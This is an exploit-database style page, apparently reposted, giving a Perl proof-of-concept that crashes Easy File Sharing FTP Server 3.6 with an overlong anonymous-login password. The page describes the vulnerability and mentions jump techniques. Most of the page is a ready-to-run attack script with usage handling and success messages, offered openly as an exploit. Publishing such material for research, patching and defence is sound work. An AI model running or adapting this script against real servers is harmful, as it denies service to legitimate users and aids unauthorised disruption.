Easy File Sharing FTP 3.6 Denial Of Service – Torchsec

use Net::FTP;

# Exploit Title: Easy File Sharing FTP Server 3.6 - Denial of Service (DoS)
# Discovery by: Fernando Mengali
# Discovery Date: 17 january 2024
# Vendor Homepage: N/A
# Download to demo:
# Notification vendor: No reported
# Tested Version: Easy File Sharing FTP Server 3.6
# Tested on: Window XP Professional - Service Pack 2 and 3 - English
# Vulnerability Type: Denial of Service (DoS)
# Vídeo: https://www.youtube.com/watch?v=U2svu2FiIVc

#1. Description

#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).
#For this exploit I have tried several strategies to increase reliability and performance:
#Jump to a static 'call esp'
#Backwards jump to code a known distance from the stack pointer.
#The server does not correctly handle the amount of data or bytes of the password entered by the user.
#When authenticating to the FTP server with a long password or a password with a large number of characters for the server to process, the server will crash as soon as it is received and processed, causing denial of service conditions.
#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.

#2. Proof of Concept - PoC

$sis="$^O";

if ($sis eq "windows"){
$cmd="cls";
} else {
$cmd="clear";
}

system("$cmd");

intro();
main();

print "[+] Exploiting... \n";

my $payload = "\x2c";
$payload .= "A"x2000;
$payload .= "\x41"x610;

my $ftp = Net::FTP->new($ip, Debug => 0) or die "Não foi possível se conectar ao servidor: $@";

$ftp->login("anonymous",$payload) or die "[+] Possibly exploited!";

$ftp->quit;

print "[+] Done - Exploited success!!!!!\n\n";

sub intro {
print "######################################################################\n";
print "# Easy File Sharing FTP Server 3.6 - Denied of Service #\n";
print "# #\n";
print "# Coded by Fernando Mengali #\n";
print "# #\n";
print "# e-mail: fernando.mengalli\@gmail.com #\n";
print "# #\n";
print "######################################################################\n";
}

sub main {

our ($ip, $port) = @ARGV;

unless (defined($ip) && defined($port)) {

print " \nUsage: $0 \n";
exit(-1);

}
}

#3. Solution/ How to fix:

# This version product is deprecated

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